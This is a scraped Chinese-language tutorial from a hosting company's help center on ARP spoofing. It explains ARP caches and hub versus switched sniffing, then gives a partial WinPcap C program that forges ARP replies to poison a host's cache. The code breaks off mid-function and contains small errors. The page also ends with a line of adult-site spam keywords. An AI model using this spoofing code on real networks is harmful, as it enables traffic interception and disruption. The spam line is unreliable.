1. <var id="fe6gj"></var>

    <rp id="fe6gj"><nav id="fe6gj"></nav></rp>

    <noframes id="fe6gj"><cite id="fe6gj"></cite>

    <ins id="fe6gj"><button id="fe6gj"><p id="fe6gj"></p></button></ins>
    1. <tt id="fe6gj"><i id="fe6gj"><sub id="fe6gj"></sub></i></tt>
        始創于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業
        • 60秒人工響應
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        您的位置: 網站首頁 > 幫助中心>文章內容

        實例講解如何對目標進行ARP欺騙

        發布時間:  2012/6/17 21:42:10

        以太網內的嗅探sniff對于網絡安全來說并不是什么好事,雖然對于網絡管理員能夠跟蹤數據包并且發現網絡問題,但是如果被破壞者利用的話,就對整個網絡構成嚴重的安全威脅。
        ARP緩存表假設這樣一個網絡: 
         

        E cellSpacing=0 borderColorDark=#ffffff cellPadding=2 width=400 align=left 
        borderColorLight=black border=1> —————————— | HUB | —————————— HostA HostB HostC

        其中:
        A的地址為:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
        B的地址為:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
        C的地址為:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
        假設B是屬于一個嗅探愛好者的,比如A機器的ARP緩存:
        C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 CC-CC-CC-CC-CC-CC dynamic
        這是192.168.10.1機器上的ARP緩存表,假設,A進行一次ping 192.168.10.3操作,PING主機C,會查詢本地的ARP緩存表,找到C的IP地址的MAC地址,那么就會進行數據傳輸,目的地就是C 的MAC地址。如果A中沒有C的ARP記錄,那么A首先要廣播一次ARP請求,當C接收到A 的請求后就發送一個應答,應答中包含有C的MAC地址,然后A接收到C的應答,就會更新本地的ARP緩存。接著使用這個MAC地址發送數據(由網卡附加MAC地址)。因此,本地高速緩存的這個ARP表是本地網絡流通的基礎,而且這個緩存是動態的。
        集線器網絡(Hub-Based)
        很多網絡都是用Hub進行連接的。數據包經過Hub傳輸到其他計算機的時候,Hub只是簡單地把這個數據包廣播到Hub的所有端口上。這就是上面舉例中的一種網絡結構。
        現在A需要發送TCP數據包給C。首先,A需要檢查本地的ARP 緩存表,查看是否有IP為192.168.10.3即C的ARP記錄,如果沒有那么A將要廣播一個ARP請求,當C接收到這個請求后,就作出應答,然后A更新自己的ARP緩存表。并獲得與C的IP相對應的MAC地址。這時就傳輸這個TCP數據包,Ethernet幀中就包含了C的MAC地址。當數據包傳輸到HUB的時候,HUB直接把整個數據包廣播到所有的端口,然后C就能夠接收到A發送的數據包。
        正因為HUB把數據廣播到所有的端口,所以計算機B也能夠收到A發送給C的數據包。這正是達到了B嗅探的目的。因此,Hub-Based的網絡基本沒有安全可言,嗅探在這樣的網絡中非常容易。
        交換網絡(Switched Lan)
        交換機用來代替HUB,正是為了能夠解決HUB的幾個安全問題,其中就是能夠來解決嗅探問題。Switch不是把數據包進行端口廣播,它將通過自己的ARP緩存來決定數據包傳輸到那個端口上。因此,在交換網絡上,如果把上面例子中的HUB換為Switch,B就不會接收到A發送給C的數據包,即便設置網卡為混雜模式,也不能進行嗅探。
        ARP欺騙(ARP spoofing)
        ARP協議并不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,在上面的假設網絡中,B向A發送一個自己偽造的ARP應答,而這個應答中的數據為發送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本來應該是CC-CC-CC-CC-CC-CC,這里被偽造了)。當A接收到B偽造的ARP應答,就會更新本地的ARP緩存(A可不知道被偽造了),F在A機器的ARP緩存更新了:
        C:\>arp -a Interface: 192.168.10.1 on Interface 0x1000003 Internet Address Physical Address Type 192.168.10.3 DD-DD-DD-DD-DD-DD dynamic
        這可不是小事。局域網的網絡流通可不是根據IP地址進行,而是按照MAC地址進行傳輸,F在192.168.10.3的MAC地址在A上被改變成一個本不存在的MAC地址,F在A開始Ping 192.168.10.3,網卡遞交的MAC地址是DD-DD-DD-DD-DD-DD,結果是什么呢?網絡不通,A根本不能Ping通C!這就是一個簡單的ARP欺騙。
        我們來實現這樣的ARP欺騙。這里需要使用一個WinPcap提供的API和驅動。(http://winpcap.polito.it/),winpcap是一個偉大而且開放的項目。Windows環境下的nmap、snort、windump都是使用的winpcap。

         

        // ARP Sender
        #include "stdafx.h"
        #include "Mac.h" //GetMacAddr(),我寫的把字符串轉換為MAC地址的函數,就不列在這里了
        #include 
        #include 
        #define EPT_IP 0x0800 /* type: IP */
        #define EPT_ARP 0x0806 /* type: ARP */
        #define EPT_RARP 0x8035 /* type: RARP */
        #define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
        #define ARP_REQUEST 0x0001 /* ARP request */
        #define ARP_REPLY 0x0002 /* ARP reply */
        #define Max_Num_Adapter 10
        #pragma pack(push, 1)
        typedef struct ehhdr 
        {
        unsigned char eh_dst[6]; /* destination ethernet addrress */
        unsigned char eh_src[6]; /* source ethernet addresss */
        unsigned short eh_type; /* ethernet pachet type */
        }EHHDR, *PEHHDR;
        typedef struct arphdr
        {
        unsigned short arp_hrd; /* format of hardware address */
        unsigned short arp_pro; /* format of protocol address */
        unsigned char arp_hln; /* length of hardware address */
        unsigned char arp_pln; /* length of protocol address */
        unsigned short arp_op; /* ARP/RARP operation */
        unsigned char arp_sha[6]; /* sender hardware address */
        unsigned long arp_spa; /* sender protocol address */
        unsigned char arp_tha[6]; /* target hardware address */
        unsigned long arp_tpa; /* target protocol address */
        }ARPHDR, *PARPHDR;
        typedef struct arpPacket
        {
        EHHDR ehhdr;
        ARPHDR arphdr;
        } ARPPACKET, *PARPPACKET;
        #pragma pack(pop)
        int main(int argc, char* argv[])
        {
        static char AdapterList[Max_Num_Adapter][1024]; 
        char szPacketBuf[600];
        char MacAddr[6];
        LPADAPTER lpAdapter;
        LPPACKET lpPacket;
        WCHAR AdapterName[2048];
        WCHAR *temp,*temp1;
        ARPPACKET ARPPacket;
        ULONG AdapterLength = 1024;
        int AdapterNum = 0;
        int nRetCode, i;###NextPage###
        //Get The list of Adapter
        if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
        {
        printf("Unable to retrieve the list of the adapters!\n");
        return 0;
        }
        temp = AdapterName;
        temp1=AdapterName;
        i = 0;
        while ((*temp != \0)||(*(temp-1) != \0))
        {
        if (*temp == \0) 
        {
        memcpy(AdapterList,temp1,(temp-temp1)*2);
        temp1=temp+1;
        i++;
        }
        temp++;
        }
        AdapterNum = i;
        for (i = 0; i < AdapterNum; i++)
        wprintf(L"\n%d- %s\n", i+1, AdapterList);
        printf("\n");
        //Default open the 0
        lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
        //取第一個網卡(假設啦)
        if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
        {
        nRetCode = GetLastError();
        printf("Unable to open the driver, Error Code : %lx\n", nRetCode);
        return 0;
        }
        lpPacket = PacketAllocatePacket();
        if(lpPacket == NULL)
        {
        printf("\nError:failed to allocate the LPPACKET structure.");
        return 0;
        }
        ZeroMemory(szPacketBuf, sizeof(szPacketBuf));
        if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
        {
        printf ("Get Mac address error!\n");
        }
        memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址
        if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
        {
        printf ("Get Mac address error!\n");
        return 0;
        }
        memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。(A的地址)
        ARPPacket.ehhdr.eh_type = htons(EPT_ARP);
        ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
        ARPPacket.arphdr.arp_pro = htons(EPT_IP);
        ARPPacket.arphdr.arp_hln = 6;
        ARPPacket.arphdr.arp_pln = 4;
        ARPPacket.arphdr.arp_op = htons(ARP_REPLY);
        if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
        {
        printf ("Get Mac address error!\n");
        return 0;
        }
        memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //偽造的C的MAC地址
        ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址
        if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
        {
        

        本文出自:億恩科技【www.endtimedelusion.com】

        服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

      1. 您可能在找
      2. 億恩北京公司:
      3. 經營性ICP/ISP證:京B2-20150015
      4. 億恩鄭州公司:
      5. 經營性ICP/ISP/IDC證:豫B1.B2-20060070
      6. 億恩南昌公司:
      7. 經營性ICP/ISP證:贛B2-20080012
      8. 服務器/云主機 24小時售后服務電話:0371-60135900
      9. 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
      10. 專注服務器托管17年
        掃掃關注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
          1
         
         
         
         

        0371-60135900
        7*24小時客服服務熱線

         
         
        av不卡不卡在线观看_最近2018年中文字幕_亚洲欧美一区二区三区_一级A爱做片免费观看国产_日韩在线中文天天更新_伊人中文无码在线